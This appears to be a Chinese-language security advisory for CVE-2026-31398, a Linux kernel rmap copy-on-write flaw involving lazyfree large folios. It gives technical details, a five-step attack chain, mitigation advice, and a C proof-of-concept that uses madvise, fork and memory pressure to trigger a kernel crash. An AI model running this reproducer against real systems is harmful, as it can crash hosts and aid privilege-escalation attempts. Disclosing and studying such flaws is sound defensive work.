IPBUF安全漏洞报告
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CVE-2026-31398 CVSS 7.8 高危

CVE-2026-31398 Linux内核rmap内存管理权限提升漏洞

披露日期: 2026-04-03
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31398
漏洞类型
内存管理错误
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelMemory ManagementPrivilege EscalationLocal VulnerabilityCoW BypassDoS

漏洞概述

Linux内核内存管理子系统中存在一个高危漏洞,具体位于反向映射(rmap)模块。该漏洞源于在批量取消映射匿名lazyfree folio时,未能正确区分可写和不可写的页表项(PTE)。当处理包含混合权限的PTE批次时,系统可能会错误地将整个批次设置为可写状态。此外,在PTE恢复过程中,soft-dirty位也未被正确保留。该缺陷违反了写时复制(CoW)的内存语义,可能导致内核崩溃(Oops),或在特定条件下被利用于权限提升,允许非特权用户破坏内核内存完整性。

技术细节

漏洞发生在 `mm/rmap.c` 的 `folio_unmap_pte_batch` 函数中。在处理 `MADV_FREE` 标记的lazyfree大页时,如果批次中混合了可写(writable)和不可写(read-only)的PTE,当前的逻辑会错误地将整个批次视为可写进行恢复。这导致在内存回收路径中,一个可写的匿名页被映射到了多个进程的页表中,触发了 `page_table_check_set` 中的 `BUG_ON(atomic_inc_return(&ptc->anon_map_count) > 1 && rw)` 断言失败。攻击者可以通过特定的内存操作序列(如设置mTHP、分割VMA、fork、合并VMA并触发回收)来触发此路径,从而造成系统崩溃或潜在的越权读写。

攻击链分析

STEP 1
步骤1: 内存布局准备
攻击者配置系统以支持64K mTHP,并分配一个大页内存,然后通过madvise(MADV_DONTFORK)在中间点分割VMA。
STEP 2
步骤2: 创建混合权限状态
执行fork()操作,使得父进程拥有包含8个可写PTE和8个不可写PTE的混合状态。随后使用MADV_DOFORK合并VMA。
STEP 3
步骤3: 标记Lazyfree与写入
对内存范围应用MADV_FREE,将其标记为lazyfree。随后对内存进行写入操作,使PTE变脏并触发rmap更新。
STEP 4
步骤4: 触发内存回收
通过施加内存压力或调用特定接口触发内核内存回收机制,迫使内核执行PTE恢复路径。
STEP 5
步骤5: 触发漏洞利用
内核在批量恢复PTE时,错误地将混合权限批次全部设为可写,违反CoW语义,触发BUG_ON导致崩溃或实现权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31398 * Conceptual Reproducer based on vulnerability description. * Requires specific kernel configuration (64K mTHP enabled). */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <sys/wait.h> #define MAP_SIZE (64 * 1024) // 64K mTHP void trigger_crash() { // 1. Allocate and fault in a 64K large folio char *mem = mmap(NULL, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mem == MAP_FAILED) { perror("mmap"); return; } memset(mem, 'A', MAP_SIZE); // Fault in // 2. Split the VMA at mid-point with MADV_DONTFORK madvise(mem, MAP_SIZE / 2, MADV_DONTFORK); // 3. fork() to create parent with mixed writable/non-writable PTEs pid_t pid = fork(); if (pid == 0) { // Child process logic pause(); } else { // Parent process // 4. Merge the VMAs with MADV_DOFORK madvise(mem, MAP_SIZE, MADV_DOFORK); // 5. MADV_FREE on the range to mark as lazyfree madvise(mem, MAP_SIZE, MADV_FREE); // 6. Write to memory to dirty the PTE memset(mem, 'B', MAP_SIZE); // 7. Trigger reclaim (simulated) // In a real scenario, allocate memory to pressure the system // or use the specific reclaim interface mentioned in the trace. printf("Triggering memory pressure to hit reclaim path...\n"); // Allocate until OOM or trigger specific reclaim syscalls size_t huge_alloc = 1024 * 1024 * 1024; void *leak = malloc(huge_alloc); if (leak) memset(leak, 0, huge_alloc); wait(NULL); } } int main() { printf("Starting PoC for CVE-2026-31398\n"); trigger_crash(); return 0; }

影响范围

Linux Kernel < 7.0 (Specific commits fix this)
Linux Kernel 6.x (potentially vulnerable depending on backport)

防御指南

临时缓解措施
建议立即更新官方内核补丁。在无法立即升级的情况下,可以通过禁用透明大页(THP)或限制mTHP的使用来降低被攻击的风险,但这可能会对系统性能产生一定影响。

参考链接

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